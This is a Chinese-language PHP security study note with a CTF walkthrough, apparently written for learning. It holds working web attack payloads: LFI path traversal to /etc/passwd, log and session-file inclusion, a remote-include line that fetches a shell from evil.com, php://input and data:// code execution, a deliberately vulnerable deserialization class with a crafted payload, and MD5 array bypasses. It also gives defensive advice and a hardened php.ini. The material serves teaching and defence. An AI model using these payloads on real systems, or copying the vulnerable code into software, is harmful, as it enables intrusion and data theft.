PHP的学习链接:PHP

1.基础信息泄露与配置缺陷

1.1phpinfo()信息泄露

1
<?php phpinfo(); ?>

泄露内容:

  • PHP版本号、编译选项
  • 系统环境变量(PATH、USER等)
  • 扩展加载情况(危险扩展如exec、system)
  • 绝对路径(DOCUMENT_ROOT、SCRIPT_FILENAME)
  • Session存储位置、上传临时目录

1.2错误报告泄露

1
2
3
// 危险配置
error_reporting(E_ALL);
ini_set('display_errors', 'on');

泄露内容:

  • 绝对路径
  • 数据库报错
  • 表结构
  • SQL语句片段

2.文件包含漏洞(LFI/RFI)

2.1本地文件包含(LFI)

漏洞代码:

1
2
$page = $_GET['page'];
include($page . '.php');

攻击载荷:

1
2
3
4
5
6
7
8
// 读取系统文件
?page=../../../../etc/passwd%00

// 读取源码(需要过滤器)
?page=php://filter/convert.base64-encode/resource=config

// 日志注入
?page=../../../../var/log/apache2/access.log

前提: allow_url_include = On

1
2
?page=http://evil.com/shell.txt
?page=//evil.com/shell

3.PHP伪协议利用

协议 用途 利用场景
php://filter 读取文件源码 LFI时读取PHP源码
php://input 读取POST原始数据 执行任意代码
php://temp 临时流 绕过上传限制
data:// 数据流封装 RFI执行代码
expect:// 执行外部命令 需安装expect扩展

利用示例:

1
2
3
4
5
6
7
8
// 读取base64编码的源码
php://filter/convert.base64-encode/resource=index.php

// 直接执行代码(需要allow_url_include)
php://input + POST: <?php system('id');?>

// data协议执行代码
data://text/plain,<?php phpinfo();?>

4.反序列化漏洞与POP链构造

4.1 魔术方法利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class User {
public $username;
public $isAdmin = false;

function __destruct() {
if($this->isAdmin) {
system($this->username);
}
}
}

// 攻击者构造的序列化数据
$payload = 'O:4:"User":2:{s:8:"username";s:2:"id";s:7:"isAdmin";b:1;}';
unserialize($payload);

4.2 POP链(Property-Oriented Programming)

常见可利用魔术方法:

wakeup() - 反序列化时触发

destruct() - 对象销毁时触发

toString() - 对象被当作字符串时触发

call()/get() /set() - 属性/方法访问时触发

5.弱类型比较与哈希欺骗

5.1 松散比较(==)陷阱

1
2
3
4
var_dump("admin" == 0);     // true
var_dump("1admin" == 1); // true
var_dump("0e12345" == "0e67890"); // true(科学计数法)
var_dump(true == "any"); // true

5.2 哈希绕过案例

1
2
3
4
5
6
7
8
// MD5绕过:0e开头的哈希值
"240610708"md5() → "0e462097431906509019562988736854"
"QNKCDZO"md5() → "0e830400451993494058024219903391"

// 松散比较时判定为相等
if(md5($_GET['a']) == md5($_GET['b'])) {
// 传入不同值即可绕过
}

5.2.1例题

MD5+数组绕过

题目网页链接:node7.anna.nssctf.cn:27743

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
highlight_file(__FILE__);
include 'flag2.php';

if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}

}
else {
echo 'wrong!';
}
?>
wrong!

解题思路

首先分析一下题目,要拿到 flag,必须同时满足两个条件:

1.$name != $password:两个变量的值不相等

2.md5($name) == md5($password):两个变量的 MD5 计算结果相等

PHP有两个“漏洞”特性,刚好可以满足这两个条件:

1.MD5对数组的处理:给md5()函数传一个数组,PHP不会报错,而是直接返回NULL,即md5(任意数组) == md5(任意数组) 永远成立,因为两边都是NULL.

2.!=对数组的处理:在 PHP 中,两个不同的数组,用 != 比较时,结果永远是true,所以只要 $name$password 是两个不同的数组,$name != $password 就会成立。

解题方法

用curl命令,在终端执行:

1
curl -X POST "http://node7.anna.nssctf.cn:27743/?name[]=1" -d "password[]=2"

也可以用这个顺序:

1
curl  -X POST  -d "POST参数"   "网址?GET参数"

这样两个条件就都满足了,服务器会直接返回 flag。

image-20260422214231943

小知识点(新手友好,老手忽略)

  • curl命令 是 Linux / Mac / Windows 自带的命令行工具,用来模拟浏览器发请求,它的作用是发 GET / POST 请求、传参数、看服务器返回结果。
  • -X是 curl 的请求方法选项,用来指定 HTTP 请求方法。GET是默认的请求方法,POST方法需要放在请求体里。
  • -d用来发送POST请求的数据,本题中"password[]=2" 就是 POST 数据,password是参数名,[]是数组语法,=2也是数组里的值,其实等于多少都行,重点是我们只需要它是一个数组。
  • ?name[]是 GET 请求的参数语法。?是参数的标识,name是参数名,[]是PHP里的数组语法。=1 是数组里的值,同样等于多少都行。

5.3防御建议

1
2
3
4
5
// 使用严格比较
if(hash_equals($expected, $input)) { }

// 或使用 ===
if(md5($a) === md5($b)) { }

6.Session安全风险

6.1 Session序列化引擎不一致

1
2
3
4
5
// php.ini配置
session.serialize_handler = php // 默认
session.serialize_handler = php_binary
session.serialize_handler = php_serialize
利用方法:不同处理器之间的解析差异可能导致变量注入。

6.2 Session文件包含

1
2
3
4
5
6
7
// Session文件默认路径
/tmp/sess_<session_id>

// 通过LFI包含session文件
?page=../../../../tmp/sess_<id>

// 在session中注入PHP代码(通过User-Agent等)

7.绕过与防御措施

7.1 常见绕过技巧

防御措施 绕过方式
addslashes() 宽字节注入(GBK)
htmlspecialchars() 未设置ENT_QUOTES时绕过单引号
preg_match('/\w+/') 使用换行符%0a绕过
str_replace() 双写绕过(如<script><scr<script>ipt>
黑名单过滤 利用PHP函数别名、大小写、花括号变体

7.2 安全配置清单

1
2
3
4
5
6
7
8
9
10
; php.ini 安全配置示例
allow_url_include = Off
allow_url_fopen = Off
display_errors = Off
log_errors = On
expose_php = Off
session.use_strict_mode = On
session.cookie_httponly = On
open_basedir = /var/www/html:/tmp
disable_functions = exec,system,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source